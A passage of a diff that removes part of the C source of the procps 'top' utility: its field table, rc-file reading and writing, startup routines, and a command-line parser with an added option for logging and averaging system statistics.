-	{"WwVv", "S ", "%c ", -1, -1, SF(STA), "Process Status", L_EITHER},
-#endif
-	// next entry's special: '.head' will be formatted using table entry's own
-	//                       '.fmts' plus runtime supplied conversion args!
-	{"XxXx", "Command ", "%-*.*s ", -1, -1, SF(CMD), "Command name/line",
-	 L_EITHER},
-	{"YyUu", "WCHAN     ", "%-9.9s ", -1, -1, SF(WCH),
-	 "Sleeping in Function", L_stat},
-	// next entry's special: the 0's will be replaced with '.'!
-#ifdef CASEUP_HEXES
-	{"ZzZz", "Flags    ", "%08lX ", -1, -1, SF(FLG), "Task Flags <sched.h>",
-	 L_stat},
-#else
-	{"ZzZz", "Flags    ", "%08lx ", -1, -1, SF(FLG), "Task Flags <sched.h>",
-	 L_stat},
-#endif
-#if 0
-	{"..Qq", "  A ", "%4.4s ", 4, SK_no, SF(PID), "Accessed Page count",
-	 L_stat},
-	{"..Nn", " TRS ", "%4.4s ", 4, SK_Kb, SF(PID), "Code in memory (kb)",
-	 L_stat},
-	{"..Rr", " WP ", "%4.4s ", 4, SK_no, SF(PID), "Unwritable Pages",
-	 L_stat},
-	{"Jj[{", "#C ", "%2u ", -1, -1, SF(CPN), "Last used cpu (SMP)", L_stat},
-	{"..\\|", "Bad ", "%2u ", -1, -1, SF(CPN), "-- must ignore | --", 0},
-	{"..]}", "Bad ", "%2u ", -1, -1, SF(CPN), "-- not used --", 0},
-	{"..^~", "Bad ", "%2u ", -1, -1, SF(CPN), "-- not used --", 0},
-#endif
-};
-
-#undef SF
-
-	/* All right, those-that-follow -- Listen Up!
-	 * For the above table keys and the following present/future rc file
-	 * compatibility support, you have Mr. Albert D. Cahalan to thank.
-	 * He must have been in a 'Christmas spirit'.  Were it left to me,
-	 * this top would never have gotten that close to the former top's
-	 * crufty rcfile.  Not only is it illogical, it's odoriferous !
-	 */
-
-	// used as 'to' and/or 'from' args in the ft_xxx utilities...
-#define FT_NEW_fmt 0
-#define FT_OLD_fmt 2
-
-#if 0
-	// convert, or 0 for failure
-static int ft_cvt_char(const int fr, const int to, int c)
-{
-	int j = -1;
-
-	while (++j < MAXTBL(Fieldstab)) {
-		if (c == Fieldstab[j].keys[fr])
-			return Fieldstab[j].keys[to];
-		if (c == Fieldstab[j].keys[fr + 1])
-			return Fieldstab[j].keys[to + 1];
-	}
-	return 0;
-}
-#endif
-
-	// convert
-static inline int ft_get_char(const int fr, int i)
-{
-	int c;
-	if (i < 0)
-		return 0;
-	if (i >= MAXTBL(Fieldstab))
-		return 0;
-	c = Fieldstab[i].keys[fr];
-	if (c == '.')
-		c = 0;		// '.' marks a bad entry
-	return c;
-}
-
-#if 0
-	// convert, or -1 for failure
-static int ft_get_idx(const int fr, int c)
-{
-	int j = -1;
-
-	while (++j < MAXTBL(Fieldstab)) {
-		if (c == Fieldstab[j].keys[fr])
-			return j;
-		if (c == Fieldstab[j].keys[fr + 1])
-			return j;
-	}
-	return -1;
-}
-#endif
-
-	// convert, or NULL for failure
-static const FLD_t *ft_get_ptr(const int fr, int c)
-{
-	int j = -1;
-
-	while (++j < MAXTBL(Fieldstab)) {
-		if (c == Fieldstab[j].keys[fr])
-			return Fieldstab + j;
-		if (c == Fieldstab[j].keys[fr + 1])
-			return Fieldstab + j;
-	}
-	return NULL;
-}
-
-#if 0
-	// convert, or NULL for failure
-static const FLD_t *ft_idx_to_ptr(const int i)
-{
-	if (i < 0)
-		return NULL;
-	if (i >= MAXTBL(Fieldstab))
-		return NULL;
-	return Fieldstab + i;
-}
-
-	// convert, or -1 for failure
-static int ft_ptr_to_idx(const FLD_t * p)
-{
-	int i;
-	if (p < Fieldstab)
-		return -1;
-	i = p - Fieldstab;
-	if (i >= MAXTBL(Fieldstab))
-		return -1;
-	return i;
-}
-#endif
-
-#if 0
-static void rc_bugless(const RCF_t * const rc)
-{
-	const RCW_t *w;
-	int i = 0;
-
-	fprintf(stderr, "\n%d %d %f %d\n", rc->mode_altscr, rc->mode_irixps,
-		rc->delay_time, rc->win_index);
-	while (i < 4) {
-		w = &rc->win[i++];
-		fprintf(stderr, "<%s> <%s> %d %08x %d %d %d %d %d\n",
-			w->winname, w->fieldscur, w->sortindx, w->winflags,
-			w->maxtasks, w->summclr, w->msgsclr, w->headclr,
-			w->taskclr);
-	}
-}
-#endif
-
-	/*
-	 * '$HOME/Rc_name' contains multiple lines - 2 global + 3 per window.
-	 *   line 1: an eyecatcher, with a shameless advertisement
-	 *   line 2: an id, Mode_altcsr, Mode_irixps, Delay_time and Curwin.
-	 * For each of the 4 windows:
-	 *   line a: contains winname, fieldscur
-	 *   line b: contains winflags, sortindx, maxtasks
-	 *   line c: contains summclr, msgsclr, headclr, taskclr
-	 *   line d: if present, would crash procps-3.1.1
-	 */
-static int rc_read_new(const char *const buf, RCF_t * rc)
-{
-	int i;
-	int cnt;
-	const char *cp;
-
-	cp = strstr(buf, "\n\n" RCF_EYECATCHER);
-	if (!cp)
-		return -1;
-	cp = strchr(cp + 2, '\n');
-	if (!cp++)
-		return -2;
-
-	cnt =
-	    sscanf(cp,
-		   "Id:a, Mode_altscr=%d, Mode_irixps=%d, Delay_time=%f, Curwin=%d\n",
-		   &rc->mode_altscr, &rc->mode_irixps, &rc->delay_time,
-		   &rc->win_index);
-	if (cnt != 4)
-		return -3;
-	cp = strchr(cp, '\n');
-	if (!cp++)
-		return -4;
-
-	for (i = 0; i < GROUPSMAX; i++) {
-		RCW_t *ptr = &rc->win[i];
-		cnt =
-		    sscanf(cp, "%3s\tfieldscur=%31s\n", ptr->winname,
-			   ptr->fieldscur);
-		if (cnt != 2)
-			return 5 + 100 * i;	// OK to have less than 4 windows
-		if (WINNAMSIZ <= strlen(ptr->winname))
-			return -6;
-		if (strlen(DEF_FIELDS) != strlen(ptr->fieldscur))
-			return -7;
-		cp = strchr(cp, '\n');
-		if (!cp++)
-			return -(8 + 100 * i);
-
-		cnt =
-		    sscanf(cp, "\twinflags=%d, sortindx=%u, maxtasks=%d \n",
-			   &ptr->winflags, &ptr->sortindx, &ptr->maxtasks);
-		if (cnt != 3)
-			return -(9 + 100 * i);
-		cp = strchr(cp, '\n');
-		if (!cp++)
-			return -(10 + 100 * i);
-
-		cnt =
-		    sscanf(cp,
-			   "\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d \n",
-			   &ptr->summclr, &ptr->msgsclr, &ptr->headclr,
-			   &ptr->taskclr);
-		if (cnt != 4)
-			return -(11 + 100 * i);
-		cp = strchr(cp, '\n');
-		if (!cp++)
-			return -(12 + 100 * i);
-		while (*cp == '\t') {	// skip unknown per-window settings
-			cp = strchr(cp, '\n');
-			if (!cp++)
-				return -(13 + 100 * i);
-		}
-	}
-	return 13;
-}
-
-static int rc_read_old(const char *const buf, RCF_t * rc)
-{
-	const char std[] =
-	    "AaBbCcDdEeFfGgHhIiJjKkLlMmNnOoPpQqRrSsTtUuVvWwXxYyZzJj......";
-	const char old[] =
-	    "AaBb..CcDd..GgHhIiYyEeWw..FfMmOoTtKkLlPpJjSsVvXxUuZz[{QqNnRr";
-	unsigned u;
-	const char *cp;
-	unsigned c_show = 0;
-	int badchar = 0;	// allow a limited number of duplicates and junk
-
-	char scoreboard[256];
-	memset(scoreboard, '\0', sizeof scoreboard);
-
-	cp = buf + 2;		// skip the "\n\n" we stuck at the beginning
-	u = 0;
-	for (;;) {
-		const char *tmp;
-		int c = *cp++;
-		if (u + 1 >= sizeof rc->win[0].fieldscur)
-			return -1;
-		if (c == '\0')
-			return -2;
-		if (c == '\n')
-			break;
-		if (c & ~0x7f)
-			return -3;
-		if (~c & 0x20)
-			c_show |= 1 << (c & 0x1f);	// 0x20 means lowercase means hidden
-		if (scoreboard[c | 0xe0u])
-			badchar++;	// duplicates not allowed
-		scoreboard[c | 0xe0u]++;
-		tmp = strchr(old, c);
-		if (!tmp)
-			continue;
-		c = *((tmp - old) + std);
-		if (c == '.')
-			continue;
-		if (scoreboard[c & 0x1fu])
-			badchar++;	// duplicates not allowed
-		scoreboard[c & 0x1fu]++;
-		rc->win[0].fieldscur[u++] = c;
-	}
-	rc->win[0].fieldscur[u++] = '\0';
-	if (u < 21)
-		return -6;	// catch junk, not good files (had 23 chars in one)
-	if (u > 33)
-		return -7;	// catch junk, not good files (had 29 chars in one)
-// fprintf(stderr, "badchar: %d\n", badchar); sleep(2);
-	if (badchar > 8)
-		return -8;	// too much junk
-	if (!c_show)
-		return -9;	// nothing was shown
-
-	// rest of file is optional, but better look right if it exists
-	if (!*cp)
-		return 12;
-	if (*cp < '2' || *cp > '9')
-		return -13;	// stupid, and why isn't '1' valid?
-	rc->delay_time = *cp - '0';
-
-	memset(scoreboard, '\0', sizeof(scoreboard));
-	for (;;) {
-		int c = *++cp & 0xffu;	// protect scoreboard[] from negative char
-		if (!c)
-			return -14;	// not OK to hit EOL w/o '\n'
-		if (c == '\n')
-			break;
-		switch (c) {
-		case ' ':
-		case '.':
-		case '0' ... '9':
-			return -15;	// not supposed to have digits here
-
-//       case 's':                      // mostly for global rcfile
-//          rc->mode_secure = 1;
-//          break;
-		case 'S':
-			rc->win[0].winflags |= Show_CTIMES;
-			break;
-		case 'c':
-			rc->win[0].winflags |= Show_CMDLIN;
-			break;
-		case 'i':
-			rc->win[0].winflags &= ~Show_IDLEPS;
-			break;
-		case 'H':	// 'H' = show threads (yea, sure)
-			//rc->win[0].winflags |= ;
-			break;
-		case 'm':
-			rc->win[0].winflags &= ~View_MEMORY;
-			break;
-		case 'l':
-			rc->win[0].winflags &= ~View_LOADAV;
-			break;
-		case 't':
-			rc->win[0].winflags &= ~View_STATES;
-			break;
-		case 'I':
-			rc->mode_irixps = 0;
-			break;
-
-		case 'M':
-			c = 0;	// for scoreboard
-			rc->win[0].sortindx = P_MEM;
-			break;
-		case 'P':
-			c = 0;	// for scoreboard
-			rc->win[0].sortindx = P_CPU;
-			break;
-		case 'A':	// supposed to be start_time
-			c = 0;	// for scoreboard
-			rc->win[0].sortindx = P_PID;
-			break;
-		case 'T':
-			c = 0;	// for scoreboard
-			rc->win[0].sortindx = P_TM2;
-			break;
-		case 'N':
-			c = 0;	// for scoreboard
-			rc->win[0].sortindx = P_PID;
-			break;
-
-		default:
-			// just ignore it, except for the scoreboard of course
-			break;
-		}
-		if (scoreboard[c])
-			return -16;	// duplicates not allowed
-		scoreboard[c] = 1;
-	}
-	return 17;
-}
-
-static void rc_write_new(FILE * fp)
-{
-	int i;
-
-	fprintf(fp,
-		RCF_EYECATCHER "\"%s with windows\"\t\t# shameless braggin'\n",
-		Myname);
-	fprintf(fp,
-		RCF_DEPRECATED
-		"Mode_altscr=%d, Mode_irixps=%d, Delay_time=%.3f, Curwin=%d\n",
-		Rc.mode_altscr, Rc.mode_irixps, Rc.delay_time, Curwin - Winstk);
-	for (i = 0; i < GROUPSMAX; i++) {
-		char buf[40];
-		char *cp = Winstk[i].rc.fieldscur;
-		int j = 0;
-
-		while (j < 36) {
-			int c = *cp++ & 0xff;
-			switch (c) {
-			case '.':
-			case 1 ... ' ':
-			case 0x7f ... 0xff:
-				continue;	// throw away junk (some of it)
-			default:
-				buf[j++] = c;	// gets the '\0' too
-			}
-			if (!c)
-				break;
-		}
-		fprintf(fp, "%s\tfieldscur=%s\n", Winstk[i].rc.winname, buf);
-		fprintf(fp, "\twinflags=%d, sortindx=%d, maxtasks=%d\n",
-			Winstk[i].rc.winflags, Winstk[i].rc.sortindx,
-			Winstk[i].rc.maxtasks);
-		fprintf(fp,
-			"\tsummclr=%d, msgsclr=%d, headclr=%d, taskclr=%d\n",
-			Winstk[i].rc.summclr, Winstk[i].rc.msgsclr,
-			Winstk[i].rc.headclr, Winstk[i].rc.taskclr);
-	}
-}
-
-#if 0
-static void rc_write_old(FILE * fp)
-{
-	char buf[SMLBUFSIZ];
-	char *cp = Curwin->rc.fieldscur;
-	int j = 0;
-	int tmp;
-
-	while (j < 36) {
-		int c = *cp++ & 0xff;
-		if (c == 'M')
-			c = 'L';
-		if (c == 'm')
-			c = 'l';
-		switch (c) {
-		case '.':
-		case 'x':	// try not to crash Rik's top (move COMMAND)
-		case 'X':	// try not to crash Rik's top (move COMMAND)
-		case 1 ... ' ':
-		case 0x7f ... 0xff:
-			continue;	// throw away junk (some of it)
-		default:
-			c = ft_cvt_char(FT_NEW_fmt, FT_OLD_fmt, c);
-			if (!c)
-				continue;	// skip one we can't represent
-			break;
-		case '\0':
-			buf[j++] = 'X';	// try not to crash Rik's top (move COMMAND)
-			break;
-		}
-		buf[j++] = c;
-		if (!c)
-			break;
-	}
-
-	fprintf(fp, "%s\n", buf);
-	cp = buf;
-
-	tmp = (int)(Rc.delay_time + 0.5);
-	if (tmp < 2)
-		tmp = 2;
-	if (tmp > 9)
-		tmp = 9;
-	*cp++ = tmp + '0';
-
-	tmp = Curwin->rc.winflags;
-// if (Secure_mode)       *cp++ = 's';     // stupid to have in local rcfile
-	if (tmp & Show_CTIMES)
-		*cp++ = 'S';
-	if (tmp & Show_CMDLIN)
-		*cp++ = 'c';
-	if (~tmp & Show_IDLEPS)
-		*cp++ = 'i';
-// if () *cp++ = 'H';     // 'H' = show threads (yea, sure)
-	if (~tmp & View_MEMORY)
-		*cp++ = 'm';
-	if (~tmp & View_LOADAV)
-		*cp++ = 'l';
-	if (~tmp & View_STATES)
-		*cp++ = 't';
-	if (!Rc.mode_irixps)
-		*cp++ = 'I';
-
-	switch (Curwin->rc.sortindx) {
-	case P_MEM:
-		*cp++ = 'M';
-		break;
-	case P_CPU:
-		*cp++ = 'P';
-		break;
-//    case P_???:                           // was by start_time (non-display)
-//       *cp++ = 'A';
-//       break;
-	case P_TM2:
-		*cp++ = 'T';
-		break;
-	case P_PID:
-		*cp++ = 'N';
-		break;
-	}
-	*cp++ = '\0';
-	fprintf(fp, "%s\n\n\n", buf);	// important "\n\n" separator!
-}
-#endif
-
-static const char *rc_write_whatever(void)
-{
-	FILE *fp = fopen(Rc_name, "w");
-
-	if (!fp)
-		return strerror(errno);
-//   if (Crufty_rcf) rc_write_old(fp);
-	rc_write_new(fp);
-	fclose(fp);
-	return NULL;
-}
-
-/*######  Startup routines  ##############################################*/
-
-#ifdef PRETEND4CPUS
-#define smp_num_cpus 4
-#endif
-
-	/*
-	 * No mater what *they* say, we handle the really really BIG and
-	 * IMPORTANT stuff upon which all those lessor functions depend! */
-static void before(char *me)
-{
-	int i;
-
-	/* setup our program name -- big! */
-	Myname = strrchr(me, '/');
-	if (Myname)
-		++Myname;
-	else
-		Myname = me;
-
-	/* establish cpu particulars -- even bigger! */
-	Cpu_tot = smp_num_cpus;
-	Cpu_map = alloc_r(NULL, sizeof(int) * Cpu_tot);
-	for (i = 0; i < Cpu_tot; i++)
-		Cpu_map[i] = i;
-	if (linux_version_code > LINUX_VERSION(2, 5, 41))
-		States_fmts = STATES_line2x5;
-
-	/* get virtual page size -- nearing huge! */
-	Page_size = getpagesize();
-}
-
-       /*
-        * Config file read *helper* function.
-        * Anything missing won't show as a choice in the field editor,
-        * so make sure there is exactly one of each letter.
-        *
-        * Due to Rik blindly accepting damem's broken patches, procps-2.0.1x
-        * has 3 ("three"!!!) instances of "#C", "LC", or "CPU". Fix that too.
-        * Some people are maintainers, and others are human patchbots.
-        * (thanks, Albert) */
-static void confighlp(char *fields)
-{
-	unsigned upper[PFLAGSSIZ];
-	unsigned lower[PFLAGSSIZ];
-	char c;
-	char *cp;
-
-	memset(upper, '\0', sizeof upper);
-	memset(lower, '\0', sizeof lower);
-
-	cp = fields;
-	for (;;) {
-		c = *cp++;
-		if (!c)
-			break;
-		if (isupper(c))
-			upper[c & 0x1f]++;
-		else
-			lower[c & 0x1f]++;
-	}
-
-	c = 'a';
-	while (c <= 'z') {
-		if (upper[c & 0x1f] && lower[c & 0x1f]) {
-			lower[c & 0x1f] = 0;	// got both, so wipe out unseen column
-			for (;;) {
-				cp = strchr(fields, c);
-				if (cp)
-					memmove(cp, cp + 1, strlen(cp));
-				else
-					break;
-			}
-		}
-		while (lower[c & 0x1f] > 1) {	// got too many a..z
-			lower[c & 0x1f]--;
-			cp = strchr(fields, c);
-			memmove(cp, cp + 1, strlen(cp));
-		}
-		while (upper[c & 0x1f] > 1) {	// got too many A..Z
-			upper[c & 0x1f]--;
-			cp = strchr(fields, toupper(c));
-			memmove(cp, cp + 1, strlen(cp));
-		}
-		if (!upper[c & 0x1f] && !lower[c & 0x1f]) {	// both missing
-			lower[c & 0x1f]++;
-			memmove(fields + 1, fields, strlen(fields) + 1);
-			fields[0] = c;
-		}
-		c++;
-	}
-}
-
-	/*
-	 * First attempt to read the /etc/rcfile which contains two lines
-	 * consisting of the secure mode switch and an update interval.
-	 * It's presence limits what ordinary users are allowed to do.
-	 * (it's actually an old-style config file)
-	 *
-	 * Then build the local rcfile name and try to read a crufty old-top
-	 * rcfile (whew, odoriferous), which may contain an embedded new-style
-	 * rcfile.   Whether embedded or standalone, new-style rcfile values
-	 * will always override that crufty stuff!
-	 * note: If running in secure mode via the /etc/rcfile,
-	 *       Delay_time will be ignored except for root. */
-static void configs_read(void)
-{
-	const RCF_t def_rcf = DEF_RCFILE;
-	char fbuf[MEDBUFSIZ];
-	int i, fd;
-	RCF_t rcf;
-	float delay = Rc.delay_time;
-
-	// read part of an old-style config in /etc/toprc
-	fd = open(SYS_RCFILESPEC, O_RDONLY);
-	if (fd > 0) {
-		ssize_t num;
-		num = read(fd, fbuf, sizeof(fbuf) - 1);
-		if (num > 0) {
-			const char *sec = strchr(fbuf, 's');
-			const char *eol = strchr(fbuf, '\n');
-			if (eol) {
-				const char *two = eol + 1;	// line two
-				if (sec < eol)
-					Secure_mode = ! !sec;
-				eol = strchr(two, '\n');
-				if (eol && eol > two && isdigit(*two))
-					Rc.delay_time = atof(two);
-			}
-		}
-		close(fd);
-	}
-
-	snprintf(Rc_name, sizeof(Rc_name), ".%src", Myname);	// eeew...
-	if (getenv("HOME"))
-		snprintf(Rc_name, sizeof(Rc_name), "%s/.%src", getenv("HOME"),
-			 Myname);
-
-	rcf = def_rcf;
-	fd = open(Rc_name, O_RDONLY);
-	if (fd > 0) {
-		ssize_t num;
-		num = read(fd, fbuf + 2, sizeof(fbuf) - 3);
-		if (num > 0) {
-			fbuf[0] = '\n';
-			fbuf[1] = '\n';
-			fbuf[num + 2] = '\0';
-//fprintf(stderr,"rc_read_old returns %d\n",rc_read_old(fbuf, &rcf));
-//sleep(2);
-			if (rc_read_new(fbuf, &rcf) < 0) {
-				rcf = def_rcf;	// on failure, maybe mangled
-				if (rc_read_old(fbuf, &rcf) < 0)
-					rcf = def_rcf;
-			}
-			delay = rcf.delay_time;
-		}
-		close(fd);
-	}
-	// update Rc defaults, establish a Curwin and fix up the window stack
-	Rc.mode_altscr = rcf.mode_altscr;
-	Rc.mode_irixps = rcf.mode_irixps;
-	if (rcf.win_index >= GROUPSMAX)
-		rcf.win_index = 0;
-	Curwin = &Winstk[rcf.win_index];
-	for (i = 0; i < GROUPSMAX; i++) {
-		memcpy(&Winstk[i].rc, &rcf.win[i], sizeof rcf.win[i]);
-		confighlp(Winstk[i].rc.fieldscur);
-	}
-
-	// lastly, establish the true runtime secure mode and delay time
-	if (!getuid())
-		Secure_mode = 0;
-	if (!Secure_mode)
-		Rc.delay_time = delay;
-}
-
-	/*
-	 * Parse command line arguments.
-	 * Note: it's assumed that the rc file(s) have already been read
-	 *       and our job is to see if any of those options are to be
-	 *       overridden -- we'll force some on and negate others in our
-	 *       best effort to honor the loser's (oops, user's) wishes... */
-#define BUFF_SIZE 256
-static void parse_args(char **args)
-{
-	/* differences between us and the former top:
-	   -o filename to output data to at each measurement interval
-	   -f filename to read output data from to calculate averages
-	   -C (separate CPU states for SMP) is left to an rcfile
-	   -p (pid monitoring) allows a comma delimited list
-	   -q (zero delay) eliminated as redundant, incomplete and inappropriate
-	   use: "nice -n-10 top -d0" to achieve what was only claimed
-	   -c,i,S act as toggles (not 'on' switches) for enhanced user flexibility
-	   .  no deprecated/illegal use of 'breakargv:' with goto
-	   .  bunched args are actually handled properly and none are ignored
-	   .  we tolerate NO whitespace and NO switches -- maybe too tolerant? */
-	static const char usage[] =
-	    " -hv | -bcisS -d delay -n iterations [-u user | -U user] -o filename -p pid [,pid ...] | -f filename";
-	float tmp_delay = MAXFLOAT;
-	char *p;
-	char buff[BUFF_SIZE];
-	int retcode;
-	int loopcntr = 0;
-
-	int Task1, Task2, Task3, Task4, Task5;
-	float AvgMaxTasks = 0.0, AvgRunningTasks = 0.0, AvgSleepingTasks =
-	    0.0, AvgStoppedTasks = 0.0, AvgZombieTasks = 0.0;
-
-	float CPU1, CPU2, CPU3, CPU4, CPU5;
-	float AvgCPUuser = 0.0, AvgCPUsys = 0.0, AvgCPUnice = 0.0, AvgCPUidle =
-	    0.0, AvgCPUiowait = 0.0;
-
-	int Mem1, Mem2, Mem3, Mem4;
-	int AvgMem1 = 0;
-	long double AvgMem2 = 0.0, AvgMem3 = 0.0, AvgMem4 =
-	    0.0, UsedMemPercentage = 0.0;
-	int AvgSwap1 = 0;
-	long double AvgSwap2 = 0.0, AvgSwap3 = 0.0, AvgSwap4 =
-	    0.0, UsedSwapPercentage = 0.0;
-
-	while (*args) {
-		const char *cp = *(args++);
-
-		while (*cp) {
-			switch (*cp) {
-			case '\0':
-			case '-':
-				break;
-			case 'b':
-				Batch = 1;
-				break;
-			case 'c':
-				TOGw(Curwin, Show_CMDLIN);
-				break;
-			case 'd':
-				if (cp[1])
-					++cp;
-				else if (*args)
-					cp = *args++;
-				else
-					std_err("-d requires argument");
-				/* a negative delay will be dealt with shortly... */
-				if (1 != sscanf(cp, "%f", &tmp_delay))
-					std_err(fmtmk("bad delay '%s'", cp));
-				break;
-			case 'f':
-				if (cp[1])
-					cp++;
-				else if (*args)
-					cp = *args++;
-				else
-					std_err("-f requires argument");
-				if ((datafile = fopen(cp, "r")) == NULL)
-					std_err(fmtmk
-						("bad file arg; failed to fopen '%s' for reading",
-						 cp));
-				retcode =
-				    fscanf(datafile,
-					   " MaxTasks:%d RunningTasks:%d SleepingTasks:%d StoppedTasks:%d ZombieTasks:%d",
-					   &Task1, &Task2, &Task3, &Task4,
-					   &Task5);
-				while (retcode == 5) {
-					loopcntr++;
-					fgets(buff, BUFF_SIZE, datafile);
-					AvgMaxTasks += Task1;
-					AvgRunningTasks += Task2;
-					AvgSleepingTasks += Task3;
-					AvgStoppedTasks += Task4;
-					AvgZombieTasks += Task5;
-					fscanf(datafile,
-					       " Cpu(s): User:%f\tSystem:%f\tNice:%f\t\tIdle:%f\tIO-wait:%f",
-					       &CPU1, &CPU2, &CPU3, &CPU4,
-					       &CPU5);
-					AvgCPUuser += CPU1;
-					AvgCPUsys += CPU2;
-					AvgCPUnice += CPU3;
-					AvgCPUidle += CPU4;
-					AvgCPUiowait += CPU5;
-					fscanf(datafile,
-					       " TotalMem:%dk\tUsedMem:%dk\tFreeMem:%dk\t\tBuffers:%dk",
-					       &Mem1, &Mem2, &Mem3, &Mem4);
-					fgets(buff, BUFF_SIZE, datafile);
-					AvgMem1 = Mem1 / 1024;	//this data should not change
-					AvgMem2 += Mem2 / 1024;
-					AvgMem3 += Mem3 / 1024;
-					AvgMem4 += Mem4 / 1024;
-					fscanf(datafile,
-					       " TotalSwap:%dk\tUsedSwap:%dk\tFreeSwap:%dk\tCached:%dk",
-					       &Mem1, &Mem2, &Mem3, &Mem4);
-					fgets(buff, BUFF_SIZE, datafile);
-					AvgSwap1 = Mem1 / 1024;	//this data should not change
-					AvgSwap2 += Mem2 / 1024;
-					AvgSwap3 += Mem3 / 1024;
-					AvgSwap4 += Mem4 / 1024;
-					fgets(buff, BUFF_SIZE, datafile);
-					retcode =
-					    fscanf(datafile,
-						   " MaxTasks:%d RunningTasks:%d SleepingTasks:%d StoppedTasks:%d ZombieTasks:%d",
-						   &Task1, &Task2, &Task3,
-						   &Task4, &Task5);
-				}
-				fclose(datafile);
-				AvgMaxTasks = AvgMaxTasks / loopcntr;
-				AvgRunningTasks = AvgRunningTasks / loopcntr;
-				AvgSleepingTasks = AvgSleepingTasks / loopcntr;
-				AvgStoppedTasks = AvgStoppedTasks / loopcntr;
-				AvgZombieTasks = AvgZombieTasks / loopcntr;
-				AvgCPUuser = AvgCPUuser / loopcntr;
-				AvgCPUsys = AvgCPUsys / loopcntr;
-				AvgCPUnice = AvgCPUnice / loopcntr;
-				AvgCPUidle = AvgCPUidle / loopcntr;
-				AvgCPUiowait = AvgCPUiowait / loopcntr;
-				AvgMem1 = AvgMem1;
-				AvgMem2 = AvgMem2 / loopcntr;
-				AvgMem3 = AvgMem3 / loopcntr;
-				AvgMem4 = AvgMem4 / loopcntr;
-				AvgSwap1 = AvgSwap1;
-				AvgSwap2 = AvgSwap2 / loopcntr;
-				AvgSwap3 = AvgSwap3 / loopcntr;
-				AvgSwap4 = AvgSwap4 / loopcntr;
-				UsedMemPercentage = AvgMem2 / AvgMem1 * 100;
-				UsedSwapPercentage = AvgSwap2 / AvgSwap1 * 100;
-
-				printf("\nAverage data from %s\n", cp);
-				printf("================================\n");
-				printf
-				    (" MaxTasks:%.0f\t\tRunningTasks:%.0f\tSleepingTasks:%.0f\tStoppedTasks:%.0f\tZombieTasks:%.0f\n\n",
-				     AvgMaxTasks, AvgRunningTasks,
-				     AvgSleepingTasks, AvgStoppedTasks,
-				     AvgZombieTasks);
-				printf
-				    (" Cpu(s) : User:%.2f\%\tSystem:%.2f\%\t\tNice:%.2f\%\t\tIdle:%.2f\%\t\tIO-wait:%.2f\%\n\n",
-				     AvgCPUuser, AvgCPUsys, AvgCPUnice,
-				     AvgCPUidle, AvgCPUiowait);
-				printf
-				    (" TotalMem:%dMb\t\tUsedMem:%.0LfMb\t\tFreeMem:%.0LfMb\t\tBuffers:%.0LfMb\n",
-				     AvgMem1, AvgMem2, AvgMem3, AvgMem4);
-				printf
-				    (" TotalSwap:%dMb\tUsedSwap:%.0LfMb\t\tFreeSwap:%.0LfMb\t\tCached:%.0LfMb\n",
-				     AvgSwap1, AvgSwap2, AvgSwap3, AvgSwap4);
-				printf
-				    ("\n UsedMem Percentage:%.2Lf\%\tUsedSwap Percentage:%.2Lf\%\n\n",
-				     UsedMemPercentage, UsedSwapPercentage);
-				printf
-				    ("A total of [%d] entries processed from %s.\n\n",
-				     loopcntr, cp);
-				exit(0);
-				break;
-			case 'h':
-			case 'H':
-			case 'v':
-			case 'V':
-				std_err(fmtmk
-					("%s\nusage:\t%s%s", procps_version,
-					 Myname, usage));
-			case 'i':
-				TOGw(Curwin, Show_IDLEPS);
-				Curwin->rc.maxtasks = 0;
-				break;
-			case 'n':
-				if (cp[1])
-					cp++;
-				else if (*args)
-					cp = *args++;
-				else
-					std_err("-n requires argument");
-				if (1 != sscanf(cp, "%d", &Loops) || 1 > Loops)
-					std_err(fmtmk
-						("bad iterations arg '%s'",
-						 cp));
-				break;
-			case 'o':
-				o_flag = 0;
-				if (cp[1])
-					cp++;
-				else if (*args)
-					cp = *args++;
-				else
-					std_err("-o requires argument");
-				if ((outfile = fopen(cp, "a")) == NULL)
-					std_err(fmtmk
-						("bad file arg; failed to fopen '%s' for write",
-						 cp));
-				else
-					o_flag = 1;
-				cp = cp + strlen(cp);
-				break;
-			case 'p':
-				do {
-					if (selection_type)
-						std_err
-						    ("conflicting process selection");
-					selection_type = 'p';
-					if (cp[1])
-						cp++;
-					else if (*args)
-						cp = *args++;
-					else
-						std_err("-p argument missing");
-					if (Monpidsidx >= MONPIDMAX)
-						std_err(fmtmk
-							("pid limit (%d) exceeded",
-							 MONPIDMAX));
-					if (1 !=
-					    sscanf(cp, "%d",
-						   &Monpids[Monpidsidx])
-					    || 0 > Monpids[Monpidsidx])
-						std_err(fmtmk
-							("bad pid '%s'", cp));
-					if (!Monpids[Monpidsidx])
-						Monpids[Monpidsidx] = getpid();
-					Monpidsidx++;
-					if (!(p = strchr(cp, ',')))
-						break;
-					cp = p;
-				} while (*cp);
-				break;
-			case 's':
-				Secure_mode = 1;
-				break;
-			case 'S':
-				TOGw(Curwin, Show_CTIMES);
-				break;
-			case 'u':
-				do {
-					const char *errmsg;
-					if (selection_type)
-						std_err
-						    ("conflicting process selection");
-					if (cp[1])
-						cp++;
-					else if (*args)
-						cp = *args++;
-					else
-						std_err("-u missing name");
-					errmsg = parse_uid(cp, &selection_uid);
-					if (errmsg)
-						std_err(errmsg);
-					selection_type = 'u';
-					cp += snprintf(Curwin->colusrnam, USRNAMSIZ - 1, "%s", cp);	// FIXME: junk
-				} while (0);
-				break;
-			case 'U':
-				do {
-					const char *errmsg;
-					if (selection_type)
-						std_err
-						    ("conflicting process selection");
-					if (cp[1])
-						cp++;
-					else if (*args)
-						cp = *args++;
-					else
-						std_err("-u missing name");
-					errmsg = parse_uid(cp, &selection_uid);
-					if (errmsg)
-						std_err(errmsg);
-					selection_type = 'U';
-					cp += snprintf(Curwin->colusrnam, USRNAMSIZ - 1, "%s", cp);	// FIXME: junk
-				} while (0);
-				break;
-			default:
-				std_err(fmtmk
-					("unknown argument '%c'\nusage:\t%s%s",
-					 *cp, Myname, usage));
-
-			}	/* end: switch (*cp) */
-
-			/* advance cp and jump over any numerical args used above */
-			if (*cp)
-				cp += strspn(&cp[1], "- ,.1234567890") + 1;
-		}		/* end: while (*cp) */
-	}			/* end: while (*args) */
-
-	/* fixup delay time, maybe... */
-	if (MAXFLOAT != tmp_delay) {
-		if (Secure_mode || 0 > tmp_delay)
-			msg_save("Delay time Not changed");
-		else
-			Rc.delay_time = tmp_delay;
-	}
-}
-
-	/*
-	 * Set up the terminal attributes */
-static void whack_terminal(void)
-{
-	struct termios newtty;
-
-	// the curses part...
-#ifdef PRETENDNOCAP
-	setupterm("dumb", STDOUT_FILENO, NULL);
